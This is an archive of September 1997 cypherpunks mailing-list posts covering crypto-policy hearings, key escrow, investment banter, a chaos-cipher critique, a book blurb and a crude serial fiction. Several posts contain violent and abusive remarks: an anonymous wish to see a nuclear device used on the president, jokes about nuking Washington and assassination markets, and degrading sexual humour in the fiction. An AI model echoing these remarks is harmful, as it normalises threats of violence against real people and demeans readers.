It could be that you're not tempermentally suited to invest your time,
effort, and money into strong cryptography as a business, even if you did
know more about where the future is and how to do it cheaper than anyone
else, as I believe you do.

> I won't get involved in Bob's seeming challenge to me to start matching
> John's investments.

I'm not challenging, per se. That's a little more effort than I'm capable
of. Wheedling might be more apt, but that's an undignified appelation for
my good intent, here. ;-).

> It costs money, but almost certainly not VC money. Take just one example,
> an offshore credit reporting agency not bound by U.S. restrictions under
> the FCRA. There is no need for a VC to fund this...this is best done "on a
> shoestring" by someone who starts small and expands.

Exactly my point. I think, myself, that venture vapital is probably an
industrial phenomenon, caused by transfer pricing inefficiencies in a
hierarchically organized, government controlled, capital market. (But,
that, of course, is an indecipherable jargon-pile for another day.)

I'm sure that someday -- after someone *else* makes a bunch of money
bootstrapping various successful financial cryptography companies --
venture capitalists will invest in financial cryptography. Maybe, if we
make something like e$lab work, somebody in the venture capital business
will want to play there some day, too.

Hopefully, if need to have a second round at all, shares in e$lab would be
stable -- and large -- enough to be more in line with straight up
institutional investment than venture capital. Again, a nice problem to
have. And maybe one we don't even need to have. e$lab may only be of a
certain size. Certainly if the investment's small enough and the returns
are large enough, and if every person in china gave us a nickle... :-).

> (Think of how Amazon.com got started. Lots of similar examples.)

Indeed.

> Personally, I would only get involved in such a thing if I lived offshore,
> as the government could otherwise come after me (even for funding such a
> thing). But the interesting pros and cons of such a project are well worth
> discussing. Maybe someone out there will do it.

I think that lots of what you want to do don't need to be done offshore,
and, remembering that whatever you do offshore still hangs your ass here
Stateside, if it can be proven, it doesn't help to be there much. People
like one of the Duty Free Shops partners, and a commodity trader in Zug,
Switzerland (Not to be confused with ZOG, Palestine :-)) come to mind. In
addition, there are lots of foriegn nationals trying to make some of this
"regulatory arbitrage" stuff happen as we speak.

Anyway, you yourself have said here, many times (check the archives ;-)),
that technology has to be built which is jurisdiction independant, anyway.
Besides, you've also said here, many times (check the arch<BIFF! Ouch!...>)
that living offshore, except maybe for the nice weather in Anguilla, is not
what it would be cracked up to be for someone like you, anyway...

> (This space reserved for someone to chime in about Vince Cate's ISP
> operation in Anguilla.)

Ask not for whom the bell tolls, etc...

> Why don't you knock off the "Put up or shut up" kinds of remarks? It's
> never a good basis for investment, to respond to "dares."

My apologies. I'm not entirely sure I was "daring" you to do anything. And,
I agree that responding to a "dare" is not a rational investment strategy.
However, I bet that if you put some of your considerable expertise in both
investing and in cryptography, that you could figure out away to make a lot
of the stuff that we talk about here on this list real.

(Maybe, if I'm not careful and I keep bugging you enough, even assasination
markets. ;-))

> I'll say what I want to say. Maybe even someday a good investment will
> appear. But from what I've seen of the folks at gatherings I meet them at,
> few of them would be good candidates for a VC-funded approach.

Nope. More like a hands-on, bootstrap, create your own opportunity
approach, which is what I'm talking about. Something you could probably do,
and probably do better than anyone else out there, by virtue of having
created this "vision" we all want to see happen.

> No, what it shows is the power of small entrepreneurs doing very local
> things, with the things that succeed being all that we remember (the losers
> are forgotten).

Agreed, but again, that's not the point. The point is, that for a given
amount of money, time, and determination, more money is made than is
invested over all. And, frankly, I do not believe that people like Sameer
is "lucky" (heh...) anyway. He made his luck by not giving up on making
money with privacy and cryptography. What he found was the most money can
be made in financial cryptography, which is, oddly enough, the way to make
the most privacy happen as well. Funny how that economics stuff works...

> Yeah, well let us know when "e$lab" gets really rolling.

As Telulah Bankhead said to Chico Marx under lewd circumstances: "And so
you shall, you old fashioned boy"...

> Personally, I
> think you undercut your own significance by the heavy reliance on cutesy
> names centering around "$" in place of "s," as in "e-$pam" and "e$lab."
> Cutesy wears thin fast.

Cutsey may be as cutesy does, but heavy reliance on it or not, it's not
nearly as skinny a gambit as periodically calling for "somebody" to
suitcase nuke Washington, however pleasant the prospect may be to some of
us on occasion.

> In the meantime, knock off with the dares.

Admittedly, I did not play fair back there. When one bangs on the cage of a
900 lb gorilla with a stick, one should expect a little shit thrown in
one's face in return...

I mean, not that you're a gorilla or anything, Tim. Or 900 pounds. Or even
throw shit, for that matter, but, well, maybe I better quit, now...

> Maybe we should just mutually ignore each other for a while.

Sounds like a good idea. I keep forgetting that when we try to engage in
civil discourse, I say something that pisses you off and my throat gets
ripped out...

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Mon, 8 Sep 1997 06:26:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Show Me the Warheads!
Message-ID: <199709072216.PAA12754@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




Tim May espoused:
> I'm surprised this wasn't hushed up. The U.S. intelligence community has
> known this for a long time, and reports to Congress have alluded to this.

  Why hush it up? Odd, isn't it, that this interview will air on TV just
as Freeh is pushing for mandatory GAK to 'protect' us from nuclear terrorists 
with suitcase bombs? I bet it's just one of them coincidences...

SynchronicityMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 8 Sep 1997 03:44:22 +0800
To: John Young <jya@pipeline.com>
Subject: Re: BXA Testimony at SAFE Hearing
In-Reply-To: <1.5.4.32.19970906234350.00705f64@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970907152907.1670B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Keep in mind that what you have is prepared testimony, written sometimes
days before the guy actually speaks, often by his assistant. Often folks
depart from it substantially; sometimes they ignore it completely. 

The most interesting part of a hearing is the back-and-forth q&a period
where folks have to depart from prepared text and think on their feet. For
that you need the transcript.

-Declan


On Sat, 6 Sep 1997, John Young wrote:

> See William Reinsch's testimony on the administration's 
> encryption policy at the September 4 SAFE hearing:
> 
>    http://jya.com/bxa090497.htm
> 
> Perhaps dissimulating, or not then clued to the draft GAK bill,
> Reinsch states:
> 
> 1. Foreign crypto products are not as widely available as export
> control critics claim, and thus do not threaten US products.
> 
> 2. The administration is against mandatory key escrow.
> 
> 3. Finds the SAFE bill unhelpful but likes its crypto-criminalization
> provision and favors McCain-Kerrey's Secure Public Network 
> Act bill or other legislation that will:
> 
>   Expressly confirm the freedom of domestic users to choose 
>   any type or strength of encryption.
> 
>   Explicitly state that participation in a key management 
>   infrastructure is voluntary .
> 
>   Set forth legal conditions for the release of recovery 
>   information to law enforcement officials pursuant to lawful 
>   authority and provide liability protection for key recovery 
>   agents who have properly released such information.
> 
>   Criminalize the misuse of keys and the use of encryption to 
>   further a crime. 	  
> 
>   Offer, on a voluntary basis, firms that are in the business of 
>   providing public cryptography keys the opportunity to obtain 
>   government recognition, allowing them to market the 
>   trustworthiness implied by government approval.
> 
> ----------
> 
> Leads to the testimony of NSA's Cowell and Justice's Litt would
> be appreciated.
> 
> Representative Weldon remarked at length about encryption and
> defense matters on September 4, supporting the administration's
> policy:
> 
>    http://jya.com/weldon.txt  (46K)
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 8 Sep 1997 03:48:45 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A helluva way to run a country, er, a world
In-Reply-To: <v03102809b03734c24855@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970907153646.1670C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




 >me neither... it's fucking mind-boggling....
> >and where's all the 'censorship' people????
> >it's like -- no one can make the 'connection' ....
> >the CDA and FCA lists are dead ... not a word ...
> >how can we all have wet powder at the same time?
> 

The CDA list has been moribund since its inception. A waste of time. My
list, f-c-a, has covered recent crypto events exhaustively. Even those who
are far from cypherpunkish in their views enjoy it; Mike Nelson, a former
White House crypto-lobbyist, told me at my party yesterday that it was the
best list of its type out there.

http://www.well.com/~declan/fc/

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 7 Sep 1997 22:24:10 +0800
To: cypherpunks@toad.com
Subject: Re: GAK Ploy
Message-ID: <199709071403.QAA01830@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




>    "There is nothing about putting this enabling technology
>    into law that will inevitably lead to it being turned on,"
>    said Robert Litt, a Deputy Assistant United States
>    Attorney.

Is this list turning into some kind of comedy club. Litt (rhymes with
..) couldn't lie straight in bed.

I spose implanting a nuclear devise up clit-ons ass doesn't 
necessarily mean that it will inevitably lead to it being turned 
on..just that most people would like to see that happen while he's in 
Washington DC.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 8 Sep 1997 00:41:06 +0800
To: valdeez@juno.com
Subject: Re: Prayer to A.M. Turing
In-Reply-To: <19970907.072429.3854.40.valdeez@juno.com>
Message-ID: <199709071632.RAA01927@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Monty Cantain writes:
> Oh Lord Turing, God of Messages and Pathways, please reduce the
> latency time of the remailer network!  Please accept this humble
> offering: 10110AlanMathisonTuring8ef2b1912670b51

Your email to Lord Turing may bounce, your hashcash postage doesn't
collide:

% hashcash AlanMathisonTuring 10110AlanMathisonTuring8ef2b1912670b51
collision: 0 bits
%

Adam
--
<A HREF="http://www.dcs.ex.ac.uk/~aba/rsa/print%20pack%22C*%22,split/%5cD+/,%60echo%20%2216iII*o%5cU@%7b$/=$z%3b%5b(pop,pop,unpack%22H*%22,%3c%3e)%5d%7d%5cEsMsKsN0%5blN*1lK%5bd2%25Sa2/d0%3cX+d*lMLa%5e*lN%250%5ddsXx++lMlN/dsM0%3cJ%5ddsJxp%22%7cdc%60%3b$/">
Have <I>you</I> exported RSA today?</A>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 8 Sep 1997 06:08:12 +0800
To: cypherpunks@toad.com
Subject: Re: A helluva way to run a country, er, a world
Message-ID: <1.5.4.32.19970907214653.0083ec48@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan wrote:

>The CDA list has been moribund since its inception. A waste of time. My
>list, f-c-a, has covered recent crypto events exhaustively. Even those who
>are far from cypherpunkish in their views enjoy it; Mike Nelson, a former
>White House crypto-lobbyist, told me at my party yesterday that it was the
>best list of its type out there.
>
>http://www.well.com/~declan/fc/


Gosh, Declan, isn't Mike Nelson's endorsement a bit awkward
for an fight-censorship list? Not to mention his show and slather
the host at your do?

That's assuming your bash was not a Time-reimbursible. If
it was, then the WH rub-down and suck-up fits, and may god 
deliver the heaven-on-earth reward: White House Correspondent,
spin navvy to the free world leader.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 8 Sep 1997 06:29:16 +0800
To: cypherpunks@toad.com
Subject: Cryptoast Novel: Flame War
Message-ID: <1.5.4.32.19970907220745.0083f92c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Flame War, by Jonathan Quittner and Michelle Slatalla,
William Morrow, New York, 1997. 291 pp. $24.00
ISBN 0-688-14366-0

Jacket blurb:

As the U.S. Congress prepares to adopt a state-of-the-art
encryption program with a secret key that would allow
government access to all electronic communications, a
brilliant codemaker stands ready to expose the program's
critical flaw. Together with a determined band of
cypherpunks and hacker activists, he plans to unveil his
own code, which will ensure the privacy of all communication
on the Internet -- and that not even the government will
hold the key.

Fresh out of law school, Harry Garnet walks straight into
trouble when he accidentally delivers a deadly diskette
that explodes inside the computer of a mathematics
professor -- and kills him. In the aftermath, Harry joins
up with the man's clever daughter, Annie Ames, to track
the killer. Ther journey leads from a sleepy Adirondack
town to New York city, where -- with the inadvertent help
of Harry's scheming hacker friend Blaney -- Harry learns 
of the professor's connection to the anarchists and computer
phreaks who make up the underground Urban Crypto Militia.

The group's leader, Lionel Sullivan, is as talented a
codemaker as the professor had been. As the only one of
the bomber's intended victims who has managed to survive,
he can also offer Harry and Anne crucial insights into the
killer's motives. But it's not long before the bomber strikes
again -- this time against Harry and Annie, who still possess
the professor's secret computer files.

In a riveting race agaisnt time, Harry and Annie must navigate
secret networks and on-line fantasy worlds as they struggle to
unlock the professor's final message. It seems to point to a
fatal crack in the Patriot encryption program, which is about
to become the national standard -- and which Lionel and his
group are about to challenge in a dramatic showdown. Unless
the bomber gets to them first.

Jonathan Quittner and Michelle Slatalla's last book, a non-
fiction account of rival teenage gangs in cyberspace, was widely
praised for its novelistic texture and fast pace. Now, in
Flame War, they use their keen jounalistic instincts and eye
for detail to create a fictional world that's as fresh as
today's news -- and a climax that's plausible enough that it
could become tomorrow's headlines.

------

Joshua Quittner creted the website The Netly News and is a
columnist for Time magazine. Michelle Slatalla's work has
appeared in Wired magazine, among others, and has been
syndicated in two hundred newspapers nationwide. Together,
they are the authors of Masters of Deception: The Gang
That Ruled Cyberspace. The live on Long Island, New York,
with their two daughters (and another one on the way).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPunks Chief SpokesPerson <tm@dev.null>
Date: Mon, 8 Sep 1997 08:31:46 +0800
To: cypherpunks@toad.com
Subject: CypherPunks Theology (Required Reading)
Message-ID: <34134502.273@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[headers didn't exist yet]
   
   In the beginning, God created the bit. And the bit was a zero.
   
   On the first day, he toggled the 0 to 1, and the Universe was.  (In
those days, bootstrap loaders were simple, and "active low" signals 
didn't yet exist.)
   
   On the second day, God's boss wanted a demo, and tried to read the 
bit.
This being volatile memory, the bit reverted to a 0. And the universe
wasn't. God learned the importance of backups and memory refresh, and 
spent the rest of the day (and his first all-nighter) reinstalling the 
universe.
   
   On the third day, the bit cried "Oh, Lord! If you exist, give me a
sign!" And God created rev 2.0 of the bit, even better than the original
prototype. Those in Universe Marketing immediately realized that "new 
and improved" wouldn't do justice to such a grand and glorious creation.
   And so it was dubbed the Most Significant Bit.  Many bits followed, 
but only one was so honored.
   
   On the fourth day, God created a simple ALU with 'add' and 'logical
shift' instructions. And the original bit discove red that -- by 
performing a single shift instruction -- it could become the Most 
Significant Bit.
And God realized the importance of computer security.
   
   On the fifth day, God created the first mid-life kicker, rev 2.0 of 
the ALU, with wonderful features, and said "Forget that add and shift 
stuff.
Go forth and multiply."  And God saw that it was good.
   
   On the sixth day, God got a bit overconfident, and invented 
pipelines, register hazards, optimizing compilers, crosstalk, 
restartable instructions, micro interrupts, race conditions, and 
propagation delays.
Historians have used this to convincingly argue that the sixth day 
must have been a Monday.
   
   On the seventh day, an engineering change introduced Windows into 
the Universe, and it hasn't worked right since.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Sun, 7 Sep 1997 16:55:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: BXA Testimony at SAFE Hearing
In-Reply-To: <1.5.4.32.19970906234350.00705f64@pop.pipeline.com>
Message-ID: <199709070848.SAA07711@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain




> Perhaps dissimulating, or not then clued to the draft GAK bill,
> Reinsch states:
[/\]
> 3. Finds the SAFE bill unhelpful but likes its crypto-criminalization
> provision and favors McCain-Kerrey's Secure Public Network 
> Act bill or other legislation that will:
...
>   Offer, on a voluntary basis, firms that are in the business of 
>   providing public cryptography keys the opportunity to obtain 
>   government recognition, allowing them to market the 
>   trustworthiness implied by government approval.
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

BWHAHAHA this is some kind of sick joke surely.

Get ur crypto here folks, it's approved by the gubermint.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Sun, 7 Sep 1997 17:02:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The future of Digital (Ouch!) Implants
In-Reply-To: <34120EB4.1DBA@dev.null>
Message-ID: <199709070851.SAA07734@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



They sound like a bunch of ped-a-files to me
They need to be plungered

> * An April issue of New Scientist magazine reported that
> Australia's national research organization CSIRO has already made
> three sales of its "phalloblaster" device (at about $3,500 [U.S.])
> that inflates the genitalia of dead insects to make it easier to
> classify
> them.  Its official name is the "vesica everter," and it will work on
> genitalia as small as those of moths with wingspans of 2 millimeters.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adrian Mollenhorst <adrian@access.net.au>
Date: Sun, 7 Sep 1997 17:33:37 +0800
To: "'cypherpunks@toad.com>
Subject: No Subject
Message-ID: <01BCBBC2.B57F4E40@d017.meldas3.access.net.au>
MIME-Version: 1.0
Content-Type: text/plain



Unubscribe cypherpunks-unedited





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 8 Sep 1997 10:45:13 +0800
To: cypherpunks@cyberpass.net
Subject: Removing Tyranny from Democracy (Part II), was Democracy is thetrue enemy...
Message-ID: <v03102804b03773c97e15@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



Many, beginning with de Toquivelle, have noted that democracy brings with
it the unhappy possibility of a tyranny of the majority.  The reasons for
this shortcoming are closely tied to the decision of whom within the
democracy receives the franchise and how in a representative democracy
officeholders are elected.

Our elections are corrupted by bribery - not the big money paid to
candidates by corporate donors, but the taxpayers' money offered to voters
by the candidates themselves.

For some reason, campaign finance reform always centers on private money,
as if it were perfectly OK to use public money to buy elections. Yet
critics of democracy, including friendly critics, have always pointed out
that the Achilles' heel of democracy is its tendency to turn the ballot box
into an instrument of plunder, as voters learn to vote for those who
promise them other people's money.

One of the justifications for democracy is that everyone's interest should
be represented in government. But there are interests and interests. The
homeowner who locks his door is looking out for his own interest just as
much as the burglar who picks the lock, but not exactly in the same way.
The voter who wants to keep his own money isn't seeking the same thing as
the voter who wants the state to give him someone else's money.

The darkest warnings of democracy's critics are being furfilled, precisely
because of entitlement programs that already exist, which are driving the
federal government into an abyss of debt.  Touching the big entitlement
programs - the ones available to the middle class - is "political suicide."
The president exploits this fact when he plays chicken with Republicans who
want to reform those programs. All of which shows that we really know that
democracy's critics were right. Too many voters are already bought - not by
corporate campaign donors, but by the government itself. Worst of all, we
accept this as normal, healthy politics even as it threatens to ruin us.

Curbing private spending is a superficial reform that may even backfire
eliminating the equalizing power of private money thereby increasing the
advantages of incumbency. The only reform that could really help would be
to curb the buying of votes with government money. That means following the
counsel of the philosopher John Stuart Mill, and limiting the franchise to
taxpayers who don't get income from the government.

This means that if you receive money from the federal (or state, or local)
government, you shouldn't be allowed to vote in the next federal (or state,
or local) election. This is no more an insult to the voter than dismissal
cause is an insult to a prospective juror. It's a precaution in the
interest protecting the integrity of the electoral process - and a
precaution we should have taken long ago, before fiscal responsibility
became "political suicide."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Mon, 8 Sep 1997 11:27:49 +0800
To: stewarts@ix.netcom.com
Subject: Re: Gao's Chaos Cryptosystem
Message-ID: <19970908030857.4949.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>At 12:37 AM 9/6/97 PDT, Nobuki Nakatuji wrote:
>>GCC(Gao's Chaos Cryptosystem)
>>GCC uses the newest chaos logic and is conventional cryptosystem 
>>stream cipher encryption. It is high speed and allows variable-length 
keys,
>>making it very reliable and suitable for use in multimedia.
>>http://www.iisi.co.jp/reserch/GCC-over.htm
>>[Products using it, user-friendliness, etc.]
>
>Good user interfaces and high speed are important, but not enough.
>How strong is the cypher?  Where is the academic research behind it?
>What is the algorithm?  Why should we trust it?  Who else has tested 
it?
>Other people have built cyphers based on chaotic systems, and found
>they were weak when analyzed properly.  Building good cryptosystems is
>difficult.
>
>The web page doesn't give any details about the algorithm,
>except saying that it uses chaos and strange attractors,
>uses variable-length keys, and has a structure that uses
>XOR of the stream cypher with the plaintext.
>It does say the algorithm has a 0-1 balance of 0.5/0.5 
>(which any good cryptosystems do) and has a medium-sized state space 
(2**96).
>
>It claims that because it's a one-way stream cypher, that makes it
>safe against chosen plaintext attacks.  That's not true.
>Choose a plaintext of all zeros, and that gives you the
>output of the chaotic system which you can analyze for patterns.
>If you know the structure of the chaotic system, you can
>analyze the mathematics to see how to find the state space,
>and how to find the future output from the current output and
>the state space - if the algorithm is strong, this is difficult,
>but if the algorithm is weak, this is easy.  If you don't publish
>the algorithm, nobody can prove that it's strong, and in the
>world of cryptosystems, that means nobody will trust it,
>because we know how weak many other strong-looking algorithms are.
>
>
>
Please see http://arrirs02.uta.edu/ccc/upcoming.html.
and,I have thesis of this algorithm write in Japanese language.



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 8 Sep 1997 09:44:52 +0800
To: cypherpunks@toad.com
Subject: Denning-Baugh on Crypto Crime
Message-ID: <1.5.4.32.19970908012348.00b26190@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



See Dorothy Denning and William Baugh's testimony on
organized crime and terrorist use of crypto at Senator Kyl's 
September 3 hearing: 

http://guru.cosc.georgetown.edu/~denning/crypto/Denning-Baugh-Testimony.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 8 Sep 1997 12:28:57 +0800
To: cypherpunks@toad.com
Subject: InfoWar (2) / Part III of The True Story of the InterNet
Message-ID: <3413798B.31E0@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

TruthMangler
Steal This Chapter!


TruthMangler


d'Shauneaux and the Cowboy had been discussing the current situation
for quite some time before the others woke up. They agreed that
Bubba Rom Dos had set in motion a plan of action that was both
foolish and dangerous, but they disagreed on whether it was the
best course to take.

"You can't manipulate the CypherPunks to become pawns
in your game. Not even Bubba, illustrious posterboy for the 'Drunken
Pedophiles of America' can do that." d'Shauneaux was
angry at Bubba for sending out the re-write of Toto's insane 'Space
Aliens Hide My Drugs' version of Part III of the 'True Story of
the InterNet.'
"Bubba should have just blocked it, and waited to consult
with the rest of us before taking any action." he maintained.

"And, in the meantime, there's no telling what crazy action
he would have taken." the Cowboy replied.
"Besides, I don't think Bubba has any intention of manipulating
the CypherPunks. I'm certain that his announced intentions to
turn them into his 'unwitting shills' should guarantee that, if
nothing else.

"Then what the hell is he doing?" d'Shauneaux
demanded to know.

"He's trying to wake a sleeping giant." Jonathan
shouted from the back of the room, as he crawled out of his cot
at stretched. He grabbed his shotglass and walked over to join
the Cowboy and d'Shauneaux in their daily dog-hair ritual.
"You can't manipulate the CypherPunks, but you
can piss them off." Jonathan smiled.

"And this is supposed to be a good thing?"
d'Shauneaux asked, incredulously.

"No!" came a cry from the bathroom, where Bubba
was waking up and trying to massage away the ring around his ass
from falling asleep on the toilet seat for several hours. He stumbled
into the room, taking three tries to finally get his robe pulled
down from over his shoulders so that he was decently covered.

"Hide the booze and the children!" d'Shauneaux
rose to give his fellow Bubba a hug before sitting down and pouring
him a few strands of his own 'Special Reserve.'

Bubba nodded his thanks and continued.

"It's a crazy, foolish and stupid thing to do, but I see
little choice. Events are moving too fast in that time period
for us to waste time haggling over strategy. From this point on,
immediate action is required-independent action, if need be, based
on each individual's best judgment."

Another voice joined in, drowsily, "Like pissing off the
CypherPunks? What are you going to do for an encore, hit your
dick with a hammer?"
Alexis stumbled sleepily to the table, giving d'Shauneaux
a welcoming hug.

Bubba was nonplused, the hair of the dog once again renewing his
resolve to defend the plan he had set in motion.
"Certainly we are in no position to use a homicidal lunatic
to manipulate the CypherPunks to do our bidding, but that is not
a very good idea, in the first place. After the mishap with the
Trei Transponder, I think it is clear that we would be ill advised
to make any attempt to interfere too much in the events of an
era that we know precious little about.
"However," Bubba added with his patented shit-eating
grin, "I see no reason why we can't let the CypherPunks
manipulate us!"


The tattered remnants of the Magic Circle sat around the old oak
table in quiet contemplation, giving careful consideration to
the course of action that Bubba had suggested.

"So you're suggesting that we turn over the writing and
dissemination of Part II of 'The True Story of the InterNet' to
the CypherPunks." Alexis, once again, looked skeptical.

"Not quite." Jonathan interjected, thoughtfully,
"I believe what Bubba is speaking about is more along
the lines of forcing their hand so that they feel compelled to
take on the task, in their own self interest, if for no other
reason."

"What's to stop the CypherPunks from just getting pissed
off and destroying the project? After all, it would take many
of  the CypherPunks only a short period of time to render Toto
totally useless as a conduit between our era and theirs."
d'Shauneaux looked to the Cowboy for a reply.

"Payback." the Cowboy said. "Payback."



Priscilla went over the checklist with the others, giving each
a chance to provide feedback on the positive and negative aspects
of the plan, so far. She edited it to reflect both those things
that were agreed on and those unique points which one or more
individuals felt were important to consider.

Positive: The aims of the Circle of Eunuchs and the CypherPunks
have always run in close parallel to one another. The CypherPunks
would likely see this as an opportunity to advance their own agenda
under cover of the Magic Circle, with little risk to themselves.

Feedback: They could effectively destroy any chance of the members
of the Magic Circle positioning themselves to work effectively
against the Dark Allies in that era. However, this would still
be a plus, since the CypherPunks are in a position to act immediately,
whereas the Circle of Eunuchs of that era is more scattered in
small cells.

Negative: The CypherPunks might take the view that taking any
part in the Part III project would be construed as approval or
support of an outside agenda. 

Feedback: Although this is a serious consideration, it is not
likely that the CypherPunks would pass up a chance to throw a
serious fuck into someone who has been the bane of their mailing
list for quite some time. Even the non-Taoists on the list are
Taoist non-Taoists, and would likely see the seize the opportunity
to extract a measure of revenge on the target of their anger by
using him as a tool to promote their own agenda while destroying
Toto's. Tit-for-tat.

Priscilla paused, to give everyone a chance to add their two cents
worth.

"I grew up around these crazy fuckers."

All eyes turned to Jonathan. He smiled, and continued.
"No way are they going to let Toto off so easy as to just
snuff him. I bet if he showed up at a Bay area CypherPunks meeting,
would put away their heavy artillery, send out for extra beer,
and bring his sorry ass down with BB guns.
"They may make a mess and a mockery of anything remotely
connected to Toto, or they may decide to just take over the project
to push the envelope of their agenda to its max, while leaving
Toto hung out to dry."

"Back and McCrackin would certainly relish an opportunity
to set a fire or two under his sorry ass." Alexis broke
in. "He suckered them into joining his imaginary 'secret
cell' of the Circle of Eunuchs, and they will be the laughingstock
of the CypherPunks list when that comes out.
"And between them, they have enough of Toto's nasty little
secrets in their private emails back and forth to hang him from
the yardarms."

"And what about Crispin?" d'Shauneaux added.
"Working at a secret government lab and all of a sudden
the Men in Black are at his door, asking about his plans to nuke
DC with his private plane?
"I can't see Crispin passing up an opportunity to turn the
tables. Hell, he's probably on his way to Toto's house now, to
break in and send threatening emails to every world leader in
existence."

The Cowboy said, "And I'm certain that ? the Platypus
wouldn't mind getting in a groin shot or two."

"For writing 'The Plot of the Platypus'?" Alexis
asked. "I thought that was kind of funny."

The Cowboy shook his head, sadly, "Yes, it would be, except
for one minor detail. Toto doesn't have a sense of humor!"

"What?" four voices called out in unison.

"It's true." the Cowboy maintained. "Even
those who find his posts to the list amusing don't realize that
he's not trying to be humorous, not in the least. He's a fucking
lunatic!"
"When he tells people that he was kicked out of his AIDS
support group when they found out that he didn't have AIDS, he
was just there to pick up women. True.
"When he says he wears a Stetson so he can tell his dates,
'These aren't herpes, these are saddle sores.' True."

"And what about all of those references to having sex
with his dog, Baby?" Alexis asked, and then realized
that she'd really rather not know.

"Uuhh...why don't we get back to our feedback list."
Priscilla thought it was a good time to change the subject.

"No." Bubba said decisively, "For better
or worse, we've set things in motion, and I think it is now just
a question of how we proceed."

"Agreed." Alexis said, nodding her approval.

"Agreed." echoed the others, each taking a deep,
deep breath.

"Why did you send out the Part III with TruthMonger as
the Author, instead of Toto, since he is the one most likely to
be a fitting target for the wrath of the CypherPunks?"

Everyone sat waiting for Bubba to answer d'Shauneaux's question.

"I saw it as a way to increase the odds of the CypherPunks
and the Circle of Eunuchs working together, instead of at cross
purposes." Bubba replied.
"Just as Toto has been a rude, obnoxious Carpetbagger
on the CypherPunks list, he has been a wretched interloper within
the Circle of Eunuchs, as well. On the CypherPunks list he is
a forger and shit-disturber having the audacity to usurp the identities
of others for his inane babbling, and now he is attempting to
take possession of the TruthMonger multi-user persona, which is
an anathema to all decent members of the Magic Circle. Now he
is using the TruthMonger identity and combining it with his Toto
return email address."

All of the Magic Circle members looked at each other in horror.

"Fuck Toto!" they all said, in one voice.

"I think that the CypherPunks might see the value in turning
the TruthMonger into a 'Distributed Persona' much like their mailing
lists." Bubba continued. "And I'm certain that
those in the Magic Circle who are following the list would go
along with that. Since Toto has defiled the persona by attempting
to identify it with himself, then that is a tool that can be used
against him."

"For example," Bubba said with a smile, "Tim
May, who is careful to stay within the bounds of what can be legally
defended as  exercising his free speech, would not have to be
so particular about what he said as TruthMonger/Toto. He could
say, 'I plan to Nuke DC on Friday, at 4 p.m., following the plans
in my top right-hand desk drawer that give all the details and
name my co-conspirators."

Jonathan jumped in, laughing, "Considering the trouble
that Jim Bell got in for a smelly liquid, I can imagine what kind
of armored divisions will descend on DoWell, Sask."

"Well, I think it's at least worth a shot." Alexis
piped up. "Should we cut Toto out of the loop now, and
just let the CypherPunks take over if they wish to?"

"No." Bubba replied. "It would not only
remove a target they are itching to shoot at, but if we leave
him in place, for now, it will give them extra incentive to act,
since I doubt that the CypherPunks are looking forward to Toto
being the main character in a tale that involves the CypherPunks,
at their expense. I am certain they realize that their story is
much better told by themselves, individually and en masse, than
